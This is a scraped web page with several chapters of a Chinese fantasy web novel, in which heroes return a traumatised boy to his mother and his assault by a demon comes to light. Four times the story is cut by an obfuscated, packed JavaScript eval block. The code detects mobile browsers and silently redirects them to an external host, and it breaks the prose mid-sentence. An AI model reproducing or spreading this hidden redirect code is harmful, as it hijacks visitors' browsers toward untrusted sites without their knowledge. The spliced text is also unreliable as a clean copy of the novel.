;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172741|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到某一点后突然驻足不前,拍一拍手。再调过头,换到一条平行直线上,走了一段回头路,再拍一拍手。 就这样迂回行进,走过了长长短短的路。苍名突然说:“我们走的路线,是古琴的琴谱。你每次拍手的地方,是每根弦上的落指之处。” “不错。”花怡脚步轻盈,走得越来越快,“还从没人能参透!大姐姐,你是第一个。” 苍名得意地微笑了一下:“可惜我不会奏琴,不知道这是什么曲子,要是你希声姐姐在这儿……” 一根树枝猛地横扫过来,然而苍名身手何其敏锐,当即凌空一跃,堪堪避开。满天雪粉飘洒,迷人双眼。 “小弟,当心这树林——”话音未落,又一根树枝抽过来,苍名吃了一惊,急忙扑向一旁。 不等她从树枝底下钻过去,一阵劲风袭来,无数条树枝追着她狂催乱打。 “退!”苍名挥开几条枝干,胳膊被打得生疼。眼前大雪弥漫,刚一拨开,雪帘复又合拢。 雪白的树枝隐匿在飞雪中,一举一动难以察觉。苍名凝神细听枝干破风的动静,全凭耳力和直觉辨别敌手方位。 转眼间有数十条粗枝从不同方向抽来,苍名定一定心神,使出师祖当年传授的一套掌法,双掌舞得上下翩飞,密不透风。这套掌法汇集各路武学名家之长,身形飘逸,张弛有度,招数如同飞鸿踏雪,但最要命的是—— 这实际是一支舞。 它并无太大威力。 忘仙派毕竟以起舞为法门,不以武力称王,法力一旦被林中结界压制,一套拳法就打得不疼不痒。 巨树乱摇,风声鹤唳。在这危机的时刻,苍名不合时宜地想起无律从前说的一句话:“你们成天跳跳小舞,就能杀鬼,雅致得很嘛。” 苍名左击右劈,打退东南方和西方的树枝,忽然有根树枝从背后狠狠砸来。 “哎哟!”她像一只被抽飞的陀螺,撞开无数条树枝,高高飞上天空。 在百尺高空中,她透过轮转的白雪看见地上的花怡,花怡正呆呆地抬头看着她。那些树枝像长了眼睛,只挑苍名打,花怡安然无恙。 苍名:“……” 借着下一阵狂风,她在空中回身飞转,踏上一根树枝。树枝立刻一沉,继而像拉弓一样弹了出去,苍名顺势跳上了下一根树枝。 不等她站稳,下一根树枝就像扬灰将她一把扬了。 苍名狼狈地在雪树枝条间跳来跳去,浑身疼得像被车轮碾过,却逐渐摸到了门道。这片树林似乎不想取她狗命,只是在抽着她玩,像一场顽劣的捉弄。 苍名面有愠色,抬高嗓门,边跳边喊道:“要打就出来打,躲在暗地里算什么大士豪英!” 倏然万籁俱寂,整片森林停止了晃动,风声也平息了。苍名刚要开口再讲几句,脚下踩的树枝突然一空,整个人嚓一声掉进雪堆里。 “……” 苍名抓着树干勉强坐了起来,嘴里嘶嘶地吸着冰冷的空气。全身上下,已经疼到麻木。 一阵细碎的脚步声,花怡从远处快步走来:“大姐姐,你怎么在树上跑出这么远?” 苍名哭丧着脸说:“小弟,你家,还有多远呢?” 花怡忽然迟疑起来:“我们已经走了十五个音,还剩两根弦。” 28. 疑是故人来 苍名强装云淡风轻,抱着树干站了起来,忍不住评价道:“没有法力,就是不方便哈。” 花怡领着她走上倒数第二根弦的路线,却越走越慢,最后脚步沉滞,停下不走了。 苍名敏感地看了他一眼,轻声说:“不回家吗?” 花怡的头慢慢垂了下去:“我……突然不想……” 苍名小心地说:“不想面对你娘吗?” 花怡不知不觉蹲在地上,双手痛苦地抱着头。不堪的往事又将他包围了。 苍名看出了他溺水般的窒息感,也蹲下来慢慢地说:“如果不想回去,就给你娘报个平安,再回息园三坊也可以的。” 花怡越缩越小,浑身开始哆嗦起来。起初仿佛只是冷得打摆子,后来抽搐着翻倒在地上。 花怡的惊恐发作了。 “现在安全了,小弟,你放心……”苍名急忙跪下来拉住他的胳膊,手忙脚乱地拍打着他。 花怡的牙齿上下磕在一起,发出咔哒的声音:“不回……” 苍名抓着他的双肩连声说:“不回了不回了,小弟你振作一点,咱们回客栈……” 冷不丁地,一根格外粗壮的树枝狠狠地抽来。苍名毫无防备地被横扫出去,摔在一片凸起的树根上,顿时两眼一黑。 虽然仙人自有仙气护体,但并不像天神那样周身渡着一层金光、如同铠甲无坚不摧。 即使是从前学舞,练到空翻和飞转时,摔的跟头加起来也没有今天多。苍名眼能视物后,怒不可遏地爆吼一声:“有完没完了!林子看门狗,你出来吧!” 周围的一切都微妙地蒙上了一层冰霜,在白色之上又多了一重白色。苍名几乎能听见冰霜凝结时那细微的咔嚓声。 虽然没有脚步声,但她的直觉让她转头看向不远处。 一双血红的绣花鞋踏着露出地表的血红树根,轻飘飘地走了过来。 再往上看,白雪雕塑成的衣裙随着步伐诡异地波动着。天心沭那张白石般的脸上浮动着明暗光影,雪白的眼球和瞳孔里没有任何生命的色彩。 也就是在这一刻,苍名发现雪树森林里的每一棵树通体雪白,根系猩红,就像天心沭的雪雕躯体和红色鞋子。 苍名爬了起来,迎着天心沭走去,冷冷地说:“这些树是你布置的。” 树林带有她浓浓的个人风格,真是太自恋了。 天心沭阴郁地说:“什么叫‘这些’?整片森林,整座岛屿,都是我的。” “……”苍名不想和她咬文嚼字,只是不动声色地移动到花怡前方,挡住了躺在地上抽搐的他。他蜷缩起来,成了一团小小的破烂,因心悸而猛咳起来,像一个被摧毁的布娃娃。 天心沭不依不饶地问:“你刚才嘴里骂什么?” 苍名不再提看门狗,转而东拉西扯:“先前那些树枝抽我,也是你干的吧?告诉你,你地窖里的东西不是我们偷的,我倒要问问你那珠冠去了哪!” 她一边大声示威拖延时间,一边用眼睛四处乱瞟,疯狂寻找着能用以抵御天心沭的武器。森林中异常整洁,连一块石头都没有。 天心沭缓缓抬起一只白雪铸成的手:“我本来想饶你一条贱命的。” 正当苍名开始动手掰下一根树枝作为武器时,一道银光如长虹般穿梭而至,带起万顷风声。 银光散去,未辞像一位天兵天将,猛然幻化而出,挡在苍名的身前,对天心沭一字一句地说:“你住口。” “未辞!”苍名惊喜地扔下树枝,两步跑到未辞身边,“你怎么找来的?你法力还能用?” 未辞回头嗯了一声,冷峭的面部变得柔和起来,半侧脸如雕如琢,精美绝伦。冰刃宝剑悬挂在他的腰间,别是一番凛然英姿。 苍名稍加考虑,立刻脚下一软,坐倒在地,满脸委屈地控诉道:“未辞,她一直用树枝抡我,摔得我浑身好疼。” 未辞立刻半跪下来环住她的肩膀,急切地问:“你伤了哪里?”他看向天心沭,目光阴翳,马上就要起身冲上去。 天心沭忌惮地后退了半步,眉头紧锁。 苍名一把拉住未辞,弱不禁风地靠在他肩膀上,贴着他的耳朵耳语道:“我没事。你有法力,她不敢动你,想办法引开她,咱们带上花怡跑。” 未辞担忧地看了她一眼,苍名了解地说:“我的伤不要紧,晚点再给你看。” 未辞:“恩?” 天心沭的嗓音越来越压迫:“他妈的,你们又在我面前……” 未辞像座高塔般站了起来。苍名爬到一边去捡那根树枝时,未辞突然握紧双拳,无数只白鸥从他周围闪现而出,一齐狠厉地射向天心沭。 天心沭长啸一声,大雪纷飞。雪片乱舞,雪树狂摇,像一道白得刺眼的屏障,将飞鸥抵挡在外。 飞鸥银光闪闪,四下雪光溶溶,竟搅得天地一片混沌。 未辞没再理会三头六臂对付飞鸥的天心沭。他俯下身来,随手抓起咳嗽抽搐的花怡,对苍名说:“将军,怎么处置她,你说了算。” 苍名刚要指示,花怡突然睁开眼睛,颤抖地看了几眼天心沭,大叫一声:“姨姨!” …… 苍名满头雾水地叫停这场战争时,飞鸥轻轻一晃就消失不见,天心沭气急败坏,凌乱不堪,白雪雕塑成的袍子差点被啄碎一块。 这种屈辱程度对于妖界魔头来说,几乎不亚于人间的一国之君被迫当众洗澡,或端庄持重的圣者突然被发现穿着肚兜大跳艳舞。 苍名拄着树枝站起来,小声对未辞说:“先别动她,先把花怡平安送回家,还要查清她和老鬼莲的事。” 未辞放下花怡,起身说:“是,将军。”他转头看着天心沭,冰冷地说:“我若想动手,她早就灰飞烟灭了。” 天心沭嗖地一甩手,满地雪粉突然升到空中,凝结成巨大的骷髅图腾,瞬间冲到苍名面前。未辞漫不经心地随手一弹,像弹开刺来的宝剑一样弹开了那具骷髅。 骷髅立刻又变幻为数百个小骷髅,像流星般从天而降。未辞带着无聊和不耐烦的表情挥手格开。来回数招变化,只在一息之间。 花怡伏在地上咳了一阵,呼吸受阻,艰难地又叫了一声:“姨姨!” 骷髅一齐消失了。天心沭看了苍名和未辞一眼,突然一扬手,花怡飞到她面前,整个人直立悬吊着,头颅耷拉,双脚离地,四肢下垂,双眼闭合。 “花怡!”苍名惊呼一声,大叫起来,“天心沭,亲外甥你也下毒手!” 天心沭咬牙道:“闭嘴。我要带他回家。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172742|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >花怡跟在天心沭旁边向前飘去,脚尖拖在地上。苍名终于明白过来,天心沭这离谱女人竟是用这种丧心病狂的方式带外甥回家。 苍名反对道:“花怡小弟不想回家,我们谁都要尊重他的意愿。” 天心沭怪笑道:“你是他爹,还是他娘?如果他流落在外又出了岔子,你拿你的狗命来抵?” 苍名哑口无言。 天心沭带着花怡走了几步,回头盯着苍名说:“跟上。” 苍名狠狠地看了她一眼,硬气地吼道:“跟就跟!” 未辞轻轻拉住苍名,一伸手就将她抱了起来:“将军,你受伤了,我抱你走。” 苍名配合地抬手,让未辞轻松地抱起她大步向前走去。她冲着天心沭的后脑勺凶狠地叫道:“喂,有我在,你别想对那孩子怎样啊!” 未辞笑了两声,声音好听到让人大脑一片空白。苍名忽然发觉自己的双手不知不觉地环绕在未辞脖子上,他偏头看着自己。她的额头差一点贴上他的嘴唇。 她的心有力地跳动着,好像一下被无名的情愫涨满。 苍名没话找话地说:“未辞,你是怎么找到我的?” 未辞说:“这森林施了斗转星移之法,我进来时落在一处偏僻角落,一路乱打找过来的。” 苍名奇道:“你嗅觉这么敏锐?” “……”未辞顿了顿,回答道,“你只要戴着这枚发冠,天南海北,我也能永远找到你。” “这个?”苍名惊讶地碰了一下马尾上的发冠,若有所思地说道,“难怪你每次都能找到我,我的行踪全在你……” 未辞忽然有些紧张地说:“将军,我不是跟踪你。” 一种被监视的毛骨悚然之感油然而生。苍名在他的怀抱中抱起手臂,沉默了一下,压制住心里的不悦,硬邦邦说了一句:“你的统治欲望未免也太强了,妖王殿下。” 未辞还想说什么,苍名从他怀抱里挣脱下来:“我自己走吧。” 在前方带路的天心沭冷笑了一声:“小丫头片子,早晚有一天你会明白情情爱爱不过虚妄,譬如朝生夕死之花,瞬息万变。” 苍名绷着脸说:“别教训我。” 天心沭立刻回击:“靠男人的蠢货。” 未辞亦步亦趋地跟着苍名:“将军,我没有监视和冒犯你的意思。我只是怕……又找不到你了。” 苍名面无表情地说:“你要找我,来息园三坊就是了,还怕我跑了不成?” 未辞欲言又止,好像有许多事不知从何说起。 苍名失望地叹了口气,说:“算了,先说眼下吧,你的法力稳定吗?我一进森林就没了法力,传音唇脂不在身边,传音耳环也失灵了。” 未辞闷闷地回答道:“这林子的结界屏蔽了外来人的法力,也包括传音法宝的法力。况且,那两件法宝须一起用时才能奏效。” “哦。”苍名随口应了一声,不再说话。她心里盘算着,什么时候把这枚发冠摘下来,戴到黄狗或灰驴的身上,不知未辞会不会发现? 天心沭领着他们走上了最后一根琴弦。两声清脆的拍手声后,雪树向两侧分开,眼前陡然开阔。 一片结冰的湖泊中央,有一片巴掌大的岛屿。岛屿上有一座茅屋,袅袅地冒着炊烟。 29. 湖心藏玄机 “弦真屿。”苍名念出了它的名字。 未辞对苍名说:“此处鬼迹罕至,寻常妖鬼进了森林有去无回。要不是这次偶然寻访,我也从不知有这样的地方。” 苍名淡淡地点头说:“冥界不可捉摸,的确神秘莫测。” 如同是在欢迎几人的到来,一道纤细的桥梁像绸带一样飞了出来,越过结冰的湖泊,从岛屿一直通到一行人的脚下。 天心沭带着花怡过了桥,终于一挥手把他僵尸状的躯体放到地上。 花怡软绵绵地蜷缩在地上,浑身抽动几下,慢慢睁开眼睛。苍名急忙跑过桥去,把他扶了起来。 姐弟两人一起抬头,看着近在眼前的茅屋。在冰湖与雪树的环绕下,那缕扶摇而上的炊烟就像阖家晚宴的烛光一样动人。 苍名被这种温情深深地打动了,她对花怡说:“小弟,你看,你到家了。” 花怡又开始发抖了。他嘶哑地说:“不回。” 天心沭在一旁说道:“怡儿,你进去吧。”她冰冷的声音让花怡剧烈地哆嗦了一下,无声地大哭起来。 花怡抽噎着,费力地说:“不行……我羞耻……我没脸见……” 苍名温和而坚决地说:“这怎么会是你羞耻?是恶人无耻,你是无辜的!” 花怡痛苦地说:“我不干净……” 苍名纠正道:“你干净。” 茅屋的木门突然砰地一声被推开,一个妇人急切地冲了出来,愣愣地看着瘫在地上、被苍名架着的花怡。 她的面容清淡平和,皮肤微微松弛下垂,眼角和额头布有细密的皱纹。 苍名说:“打搅了,我是……” 那个妇人猛地推开她,蹲下来一把搂住花怡:“你这孩子,你去哪了啊!娘等了你多久啊!” 花怡被母亲搂在怀中,立刻挣扎着要跑。他母亲牢牢地抓着他说:“娘刚才仿佛听见你的哭声,你怎么了,受了委屈吗?” 花怡不挣扎了,他伏在母亲肩头大哭起来,双手羞辱地抓着自己的头发,咬紧牙关,说不出话。 他母亲突然狠狠打了他一下,又紧紧地抱着他,伤心地说:“你又没有赚钱的本领,娘都快急死了,真不知道你在外面怎么活的……” 未辞走过来轻轻拉起苍名,两人退到一边。 苍名忧心忡忡地看着母子两人,不知道该如何开口。这时,天心沭倒是突然开口了:“师姐。” …… 苍名只觉得自己脑中一片空白。 那天在黑山洞里,天心沭曾一口气嘲笑了多位女中豪杰,嫌她们或老或丑,或和男人生过孩子。 没想到“天下第一好女子”,天心沭视若神明的师姐,却是一位相貌平平、带着孩子的女人。 苍名望向未辞,准备交换一个意味深长的眼神,但又随即想起他那变态般的跟踪狂行为,立刻移开目光。未辞低声说:“将军。” 那妇人搂着花怡,对天心沭说:“沭儿,是你找到他吗?多亏你了……快帮我扶他进去……” 天心沭搀起花怡,冰雪的触感让花怡哆嗦得更厉害了。 那妇人又对苍名和未辞说:“二位是沭儿的朋友吗?你们护送怡儿回来,我不知怎么感激你们才好,这孩子和我闹了别扭,夜里自己跑了出去,我怎么找也找不到……” 说话之间,她将几人请进了茅屋的小厅,轻手利脚地倒了几杯热茶,提壶高悬,断水利落。大门一关,小屋里暖风拂面,米粥的香气绵延醇厚。虽然桌椅简陋,木柜掉漆,但每件东西都被擦拭到发亮。 花怡一进来就扑进一间小室,反锁房门,一声不吭。房间里安静得像雪原,仿佛没有生命。 天心沭犹疑地说:“师姐,我……” “这个不懂事的,别管他。”那妇人皱着眉看了一会儿紧闭的房门,又转向苍名和未辞,大方地说,“我名叫李弦真,这地方是师妹给我们娘俩找的住处。晚饭快好了,我再多做几个菜,二位贵人千万留下。” 李弦真一笑起来十分打动人心,她还不知道离家出走的儿子遭遇了什么。她很快就不得不知道了。 苍名勉强对她笑了一下,甚至有一种在暴风雨来临前逃走的冲动,还考虑是否派出未辞这位下属去说。她害怕听见撕心裂肺的哭喊,也害怕看见被悲痛扭曲的脸。她担心自己会跟着放声大哭,最后声音盖过其他人。 但为了挽救眼前即将发生的悲剧,她还是挺身而出地走到花怡的房门前,清了清嗓子说:“小弟,我们都在这儿,别害怕。” 花怡没有回答。 苍名想,或许他终于回到安全熟悉的地方,一下就沉沉地睡着了。 天心沭到了弦真屿就一反常态地沉默着,甚至没有发出嘲笑苍名窝囊没本事的声音。 李弦真住在鬼界的湖心岛屿上,大概很久没有接待过活人来客了。她高兴地一拍巴掌,从灶房里端出一盆冻得邦邦硬的野果。她在屋子里转来转去,把果子分给几人,热情爽快地说道:“真是不成体统,家里只有些野果,化开了就能吃了。” 苍名接过来一颗冻果子,心不在焉地用一侧尖牙咬着。 李弦真用指尖轻轻抚摸着天心沭的头发,对苍名和未辞说:“你们不要害怕我师妹,她的样子虽然是座雕塑,可她却是又聪明又有趣。” 苍名:“……” 未辞则毫不掩饰地哼了一声。李弦真看了他一眼,又对苍名笑了一下。 她的手掌无意识地抚摸着木桌的边角,叹了一口气说:“这些破烂桌椅都是从前我的夫君亲手打的。” 苍名大气不敢出地听着,还在飞速思考该怎么说出花怡的事。未辞则漫不经心地看着窗外的湖泊。 李弦真怀念地说:“我的夫君,是个清贫书生,当年我可是逃出娘家,和他在一起的……” 天心沭没有任何表示。如果换成苍名和男人私奔,那她简直不敢想天心沭会怎样鄙视和诋毁她。 “真难得,沭儿竟交了朋友。”李弦真笑脸盈盈地看着他们,突然又叹了口气,“我娘家在十年前遭了大祸,早就没人了。后来我的夫君又死了,沭儿给我们娘俩找了这片地方住着。虽然是冥界,但也没什么不好,是不是?” 苍名淡淡地一笑,说:“天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172743|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心沭大王对您情深义重,常说自己得师姐亲传诗书舞艺。李小姐,您一定出身书香门第。” 李弦真挥挥手笑道:“哪里哪里,我从前连个名字都没有,出阁前叫李氏,嫁人后就叫做花李氏。是搬到这里后,才给自己取了个名字呢。” 未辞森然地问道:“阁下和天心沭是同门弟子,想必是师承一脉了?” 李弦真哈哈笑道:“哪有什么门派,你可被我们骗过喽。沭儿寄养在我家时才五六岁,我出阁那年她才十岁。她跟我学了些粗浅本领,却不愿拜我为师,只叫我师姐。” 苍名勉强点点头,未辞还是那副跟谁都不想聊的样子。李弦真却丝毫不在意他们的冷淡,独自一人,有说有笑:“我们娘两个,是来了这岛上才算安顿。二位一看就是年少有为之人,哪像我,从前带着怡儿,四处打零工。” 苍名说:“打零工也好,我们都是打零工呢。” 李弦真摇着头说:“哪里!我找了份给官府誊抄卷宗的零活,却被一再挑剔、折磨得够呛,最后还不如去街上卖鞋垫呢。” 苍名说:“是的,经商也很不错,不错。” 李弦真满含温情地看着天心沭:“来了这里以后,我做些针线活,师妹替我拿出去卖,卖了钱再换成柴米油盐运进来。我们娘俩深居简出,真是世外桃源一样的日子。” 天心沭看着师姐,那张雪白的没有瞳仁的脸上没有表情。她的声音有些发颤:“师姐,可是我对不起你,怡儿……” “哟,对啊,差点把这孩子忘了。”李弦真转头对着小室喊道,“怡儿,你干什么呢?有贵客在,我先不骂你,快出来吧。” 喊了几声之后,花怡的声音突然爆发了:“你为什么不去找我!你为什么不找我!” 他嚎啕大哭起来,仿佛要把一切委屈加在母亲身上。 李弦真愣住了。天心沭高声说:“怡儿,你娘没日没夜地找你,后来怕你回家见不到人,才换我出去找你的。” 花怡的哭声更加凄惨,最后竟哭得无声无息了。李弦真忧虑地看着那扇门:“他到底怎么了?这孩子一定在外面吃了不少苦头。” 苍名慢慢走过去,趴在门板上小声说道:“小弟,出来吧,你还有娘,还能见到娘,这不是很好吗?” 未辞沉沉地看着她,浓黑的眉毛低低压了下来。 天心沭就在这时心烦意乱地张嘴说道:“这叫什么鬼话,如果让你再见到你娘,条件是被奸污一次,你愿意不成?” 苍名被这异常邪门的问题砸得张口结舌。愿意吗? 未辞暗黑的眼睛像冰潭一样,透出隐隐的杀意:“偷梁换柱,无理诡辩。” “等等!”苍名盯着天心沭那双雪白的眼睛,“你怎么知道的?” 天心沭顿时哑口无言。苍名重复一遍,口吻严厉:“我问你,你怎么知道他被……的事的?” 李弦真一直梦游般地看着天心沭,突然打断他们的对谈,呆呆地问道:“你们刚才说什么?” 苍名尽量圆融地说:“花怡小弟他……” 李弦真失声问道:“他被人奸污了?” 30. 陶人见天日 苍名以为李弦真会因为急火攻心而昏倒在地,然而她竟然没有。她嘴唇颤抖,脸庞颓败,双腿发软,好像一盏茶的时间就苍老了。 但她仍然迈动双腿,深一脚浅一脚地走到那扇门前,伏在门上说道:“怡儿,到底怎么了,他们说的是真的吗?” 花怡凄厉地叫起来:“走开!” “啊。”李弦真顺着门板滑落下去,跪在地上,指甲深陷进木头中,突然惨烈地哭叫起来,“是谁!你告诉娘啊!娘去杀了他!” 苍名劝道:“李小姐,事已至此,你先别冲动,我们从头跟你说起。” 李弦真说:“我要杀了他。” 苍名说:“那个不要脸的老东西,他是个妖魔,你不要白白赔上性命,我会帮你从长计议的。” “我要杀了他。”李弦真重复道,“杀了他,我的孩子才能活下去。” 苍名一时间肃穆无言,又听李弦真不停地说道:“怡儿被毁了。他被毁了。” “李小姐,他要爬起来。”苍名郑重其事地说了一句,就被打断了。 “我要杀了他。”李弦真咬着牙说,“怡儿不会再快乐了。我要让他明白,他没有盼头了,但恨意和复仇也能让他活下去。” 苍名彻底无言以对。她忽然觉得自己多年来四处抓鬼,从未接近成神,而冥界中的一位母亲举重若轻,胜似天神。师祖曾说,心性至坚者即便手无缚鸡之力,也能凭意念克敌。情到满处,化为内力玄功,折枝为剑,飞叶伤人,一枝一叶皆可作为武器。说不定李弦真还真能徒手把老鬼莲撕成碎片。 苍名斩钉截铁地说:“李小姐,你放心,我会找到那老鬼,最后一刀留给你砍。” 天心沭把她推到一边,走到李弦真旁边蹲下来,身体蜷曲,像一座微型的雪山。 天心沭说:“师姐,害怡儿的那个人,我教训过了。” 苍名看了一眼未辞,用眼神传递信息:“雪雕和莲花不是一伙?”未辞扬了扬眉毛,不置可否。 天心沭又说:“那老鬼住在十七烟。我四处都找不到怡儿,最后发现竟是他掳走了怡儿……我去十七烟和他对质,但是让他给逃了。” 她看了一眼苍名和未辞,像是在讲述一种令人恶心的现象:“这两个下贱小贼,大概是在我之后去了十七烟,把怡儿救出来了。” 李弦真就像没听见她们的话,她嘴里又念叨了一遍:“我要杀了他。” 短短一顿饭的时间里,她鬓边的头发开始泛白。天心沭把她架起来,安置在一把破旧的椅子上。 李弦真像一个罪犯一样抬起头,看着天心沭说道:“是我的错。我害了他。那天怡儿说他不想每天再困在这鬼地方,我骂了他,他才偷跑出去的。” 天心沭说:“师姐,别说这些了,你们收拾一下,搬去我那里。” 李弦真凄凉地说:“我原本很喜欢这间茅屋,就跟我和夫君从前的家一模一样,谁知怡儿不喜欢,他要跑出去……” 天心沭说:“师姐,那个人抛下你自己死了,没用至极,有什么好留恋的。”苍名侧过头来打量了她一眼,十分不满,天心沭霸道至极,竟还不让人家死了。 李弦真根本没听进去,师姐妹二人各说各的。她一把抓起天心沭的手,牙齿几乎要咬碎了:“那老鬼在哪,现在就带我去,我要杀了他。” 苍名突然说:“天心沭阁下,你既然去了十七烟,为什么没把花怡救出来?” 天心沭的脸上第一次浮现出绝望和恐惧的神色。 苍名盯着她说:“你有诈。” 未辞嘴角带着愉快的笑容,无比欣赏地看着苍名:“不错,属下也是这么想。” 天心沭艰难地说:“我,没脸见怡儿,没脸见师姐,就把他留在那里了。我想着,就不救他出来了。” “……” 天心沭无力地说:“老鬼莲……是我爹。” 场面变得迷幻而不可思议,李弦真的啼哭也突然为之停格。 苍名怀疑地打量着天心沭,老练地压低嗓音对未辞说:“看到了吧,她可能在使诈。” 未辞竟然春风一笑,拉着她踱到灶房一角,游手好闲地抱起胳膊。 灶上的一锅粥快要烧干了,未辞甚至愉快地挥手帮忙熄了火。 苍名像面对一个顽童那样摇了摇头:“你啊,就爱看热闹。” 天心沭又重申了一遍:“师姐,迫害怡儿的老鬼莲,是我爹。” 苍名很想让她闭嘴。门的另一边,花怡没有任何动静,他一定什么都听见了。 李弦真定定地看着天心沭:“你不是说你爹死了吗?” 天心沭说:“他把我扔在李府不管不顾,让世伯和伯母照顾我,他跟死了有什么区别。” 李弦真突然站起来,瞪着布满血丝的眼睛说:“那么我要杀了他。” 天心沭没有表情地缓缓走向她,像漂浮的煞白的石像一样瘆人:“师姐,你不要动,让我来处理……” 李弦真狠狠地推开天心沭,推得她往后退了两步。她双眼火红,瞪着天心沭那座高大的雪雕躯体,似乎想用火红的厌恶目光将其融化。 她咬着后槽牙说:“好,好,好。你和你那个爹是一伙的,你护着他。” 天心沭轻微颤抖着说:“不,师姐,我不是那个意思……” 李弦真的声音压得越来越低,脸色逐渐扭曲,像苍名见过的许多恶鬼一样:“出了这样的事,你还在护着他。” “我不……” 苍名站在屋子另一端朗声说:“李小姐,这事既然被我碰上,我自然管到底。我会捉拿老鬼莲,把他丢到你脚下。” 李弦真一把抓住苍名,急切地拖着她向门外走去:“你带我去,我跟你去,快走!” 天心沭大喝一声,一层冰霜爬上了苍名的袍子。苍名浑身一冷,竟像掉入冰窖一般。 未辞一手把苍名拉进怀里,另一手猛然出掌,一道银光飞过。几乎没人看清是怎么回事,天心沭已经重重砸在墙壁上。茅屋晃悠起来,天心沭虽然颇为结实,没被摔碎,却被法术禁锢,整个嵌在墙上,动弹不得。 苍名靠在他温热的怀中,突然打了个寒战,她想起了未辞的古楼。如果从前门进楼,楼台飞瀑,精美绝伦,墙壁上雕刻着一层一层的诡异塑像。 也许那不是雕刻出来的,而是被镶嵌上去的、逐渐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172744|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风干的手下败将。 在一片纷乱中,李弦真突然清醒过来,冲向那间小室,抬脚踹开了房门。她举手抬足中的优美风范与干脆力度,流露出纯熟的舞蹈痕迹,让苍名不合时宜地凝视了一会儿。 李弦真伸出双手一捞,使劲扶起烂泥般的花怡,扯着他一路闯出茅屋:“娘带你走,以后她不是你姨姨!” 花怡往后拽着他母亲:“我不去,我不想出去……” 李弦真猛地把他拽过去,差点拽了他一个跟头:“你这傻孩子,你姨姨和那个该死的老鬼是一伙的,这地方还能留吗?” 天心沭挂在墙上,惨烈地叫了一声:“师姐!” 李弦真挟着花怡一路奔上桥,嘴里念叨着:“十七烟……十七烟……”她像一头愤恨而横冲直撞的母兽,好像已经忘了要苍名要替她复仇。 苍名想冲出去,却被未辞紧紧搂在胸前,迈不开腿,只能急切地伸着脖子喊道:“李小姐,你先等等!我们从长计议啊!我与你虽一面之交却甚为投缘,一定会助你一臂之力的!” 李弦真又挟着花怡跑了回来,焦急地对苍名说:“我走以后,要有人看着他们。” “他们?是谁?”苍名四下看看,方寸之地,连只猫狗都没有。 李弦真放下花怡,花怡昏头涨脑,神情绝望,似乎什么都不想做。他转头就想再次扎进小室:“我哪也不去!” 李弦真一把拉住他,气喘吁吁地对苍名说:“他们。” 她指向灶台上的木头架子。 苍名对未辞说:“放我过去。”未辞松开手,苍名轻轻从未辞怀中挣脱,活动着被他温暖过来的四肢,迷惑地看着架子上的瓶瓶罐罐。 “李小姐,这些是名贵调料?”苍名虽然不甚理解,但还在试图认同。 李弦真急匆匆地拨开那些瓶瓶罐罐,从暗格里掏出两个泥蛋。她拿着它们在苍名眼前一晃,又火急火燎地将其塞回暗格:“这东西事关人命,千万替我看好。” 苍名说:“好,我替你看着。” 李弦真拉起花怡,再度迫不及待地冲了出去,仇恨让她的脸熠熠生辉,奇异而狠厉的光芒在她的眼睛里闪烁不定。他们的身影在雪树间晃动几次,最终消失。 苍名走过去掏出泥蛋,原来是两个奇丑无比的陶人。 正要细看人偶时,未辞的脸色突然变了。他一把夺过两个陶人,抓在一只手中看着,冷笑了一声。 不知道是不是苍名的错觉,未辞仿佛看见了寻觅多年的仇人,眼神阴翳而热切,简直和方才的李弦真一样。 天心沭在墙上爆吼起来:“贼小子,拿开你的脏手!” 未辞的手合拢收紧,几乎要把两个陶人捏碎了。苍名掰着他的手指,莫名其妙地说:“李小姐的意思是,放回原处保管好就可以了,倒也不用抓在手心里……” 未辞单手捉住苍名的两只手,拉着她往门外走去。两个陶人在他手中化去实相,神不知鬼不觉地转移到古董店的架子上。 苍名急忙说:“等等,未辞,我们还要调查诅咒的事……” 未辞却大步流星,略微急躁地拉着苍名向外走去,捏得她胳膊疼痛不已。 31. 闻君生执念 